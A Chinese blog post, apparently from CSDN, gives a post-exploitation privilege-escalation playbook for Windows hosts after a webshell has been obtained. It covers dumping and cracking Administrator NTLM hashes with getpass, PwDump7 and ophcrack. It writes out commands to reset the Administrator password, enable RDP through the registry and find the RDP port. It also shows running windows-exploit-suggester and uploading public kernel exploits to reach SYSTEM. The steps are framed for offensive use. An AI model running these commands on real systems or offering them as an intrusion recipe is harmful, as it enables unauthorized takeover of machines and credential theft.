内网渗透拿掉shell后提升权限的几个小思路--洪水猛兽

内网渗透拿掉shell后提升权限的几个小思路

思路一:想办法获得Administrator密码

  1. 使用getpass小工具直接获取并破解密码:
    在这里插入图片描述

  2. 如果getpass被查杀,可以使用PwDump7.exe或者QuarksPwDump.exe得到密码的NTML哈希值,然后再去各种MD5网站解密。
    在这里插入图片描述

  3. 如果得到密码的NTML哈希无法破解,可以采用彩虹表爆破的方式,爆破出Administrator的密码:保存扫描出的NTML哈希值->使用ophcrack(去官网下载字典库https://ophcrack.sourceforge.io/tables.php)梭哈一下。

思路二:蚁剑连接后连接远程shell进行Administrator用户的密码修改:

  1. whoami //查询当前用户权限
  2. net user //查看系统用户
  3. net user Administrator pte //修改Administrator用户密码为pte
  4. reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d 0 /f //开启3389远程终端
  5. win7/win8/win10:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server\WinStations\RDP-Tcp /v PortNumber
    winxp/win2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server\Wds\rdpwd\Tds\tcp /v PortNumber //查询3389远程服务端口
  6. 使用Administrator用户及新修改的密码远程登陆系统,做你想做的->_>
    在这里插入图片描述

思路三:通过检测脚本得到漏洞扫描结果进行分析,然后使用对应的漏洞exp直接提权:

  1. systeminfo查询系统是否打了补丁,把信息保存为systeminfo.txt

  2. 使用脚本扫描存在的漏洞:python windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-14-mssb.xls (这个脚本专门用来扫打过补丁的Windows漏洞)
    扫出来大概是这个样子:
    [] initiating winsploit version 3.3…
    [
    ] database file detected as xls or xlsx based on extension
    [] attempting to read from the systeminfo input file
    [+] systeminfo input file read successfully (utf-8)
    [
    ] querying database file for potential vulnerabilities
    [] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits
    [
    ] there are now 356 remaining vulns
    [+] [E] exploitdb PoC, [M] Metasploit module, [] missing bulletin
    [+] windows version identified as ‘Windows 2003 SP2 32-bit’
    [
    ]
    [M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
    [] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
    [
    ] https://www.exploit-db.com/exploits/37367/ – Windows ClientCopyImage Win32k Exploit, MSF…此处省去一大堆漏洞

  3. 之后可以根据扫出来的漏洞编号去exploit_db啥的去搜exp,然后上传对应的exe进行触发执行,从而将攻击权限提升至system权限。
    注:[E]代表exploit_db中有该漏洞的exp,[M]代表msf中有该漏洞的exp,[*]当前没有现成的exp。
    废话:检测用的一些小玩意儿自己可平时去小破站积累或者去贴靠谱师傅们的大腿蹭几个用,牛的自己想法儿写:)

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值